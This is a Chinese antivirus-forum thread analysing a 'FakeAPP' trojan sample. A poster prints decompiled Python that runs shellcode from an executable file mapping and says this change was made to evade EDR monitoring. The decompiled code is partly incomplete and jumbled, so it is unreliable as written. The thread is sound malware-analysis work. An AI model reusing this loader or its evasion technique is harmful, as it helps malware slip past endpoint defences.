12
返回列表 发新帖
楼主: UNknownOoo
收起左侧

[病毒样本] FakeAPP 1x

[复制链接]
wowocock
发表于 昨天 10:52 | 显示全部楼层
只要木马作者稍微修改下启动,可以全过。
INVALID_HANDLE_VALUE = -1
PAGE_EXECUTE_READWRITE = 64
FILE_MAP_WRITE = 2
FILE_MAP_EXECUTE = 32
MEM_COMMIT = 4096
MEM_RESERVE = 8192
kernel32 = ctypes.windll.kernel32
CreateFileMapping = kernel32.CreateFileMappingW
CreateFileMapping.argtypes = [
    wintypes.HANDLE,
    ctypes.c_void_p,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.LPCWSTR]
CreateFileMapping.restype = wintypes.HANDLE
MapViewOfFile = kernel32.MapViewOfFile
MapViewOfFile.argtypes = [
    wintypes.HANDLE,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.c_size_t]
MapViewOfFile.restype = ctypes.c_void_p
UnmapViewOfFile = kernel32.UnmapViewOfFile
UnmapViewOfFile.argtypes = [
    ctypes.c_void_p]
UnmapViewOfFile.restype = wintypes.BOOL
CloseHandle = kernel32.CloseHandle
CloseHandle.argtypes = [
    wintypes.HANDLE]
CloseHandle.restype = wintypes.BOOL

def execute_shellcode(shellcode):
    hMapObject = CreateFileMapping(INVALID_HANDLE_VALUE, None, PAGE_EXECUTE_READWRITE, 0, len(shellcode), None)
    pAddress = MapViewOfFile(hMapObject, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, len(shellcode))
# WARNING: Decompyle incomplete

execute_shellcode(shellcode)


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +3 收起 理由
UNknownOoo + 3 版区有你更精彩: )

查看全部评分

wowocock
发表于 昨天 10:53 | 显示全部楼层
上个版本也是我发现的,所以目前只有火绒能检测到。
wowocock
发表于 昨天 11:03 | 显示全部楼层
wowocock 发表于 2026-1-8 10:53
上个版本也是我发现的,所以目前只有火绒能检测到。

相比上个版本,这个版本木马作者增加了不少东西。
微微的笑
发表于 昨天 11:11 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
wowocock
发表于 7 小时前 | 显示全部楼层

相对上一版的通过VirtualAlloc分配读写执行内存来执行SHELLCODE,新版通过映射内存来实现,减少EDR的监控。
def execute_shellcode(shellcode):
    hMapObject = CreateFileMapping(INVALID_HANDLE_VALUE, None, PAGE_EXECUTE_READWRITE, 0, len(shellcode), None)
    pAddress = MapViewOfFile(hMapObject, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, len(shellcode))

    try:

        try:
            ctypes.memmove(pAddress, bytes(shellcode), len(shellcode))
            shellcode_func = ctypes.CFUNCTYPE(None)(pAddress)
            shellcode_func()
        finally:
            UnmapViewOfFile(pAddress)
            CloseHandle(hMapObject)
            return True
            e = None

            try:
                pass
            finally:
                e = None
                del e
                UnmapViewOfFile(pAddress)
                CloseHandle(hMapObject)
                return False
                e = None
                del e
                UnmapViewOfFile(pAddress)
                CloseHandle(hMapObject)
            CloseHandle(hMapObject)
            return None




execute_shellcode(shellcode)


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
wowocock
发表于 7 小时前 | 显示全部楼层
火绒恶意木马专杀支持查杀处理。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +3 收起 理由
UNknownOoo + 3 感谢支持,欢迎常来: )

查看全部评分

您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-1-9 21:21 , Processed in 0.186326 second(s), 4 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表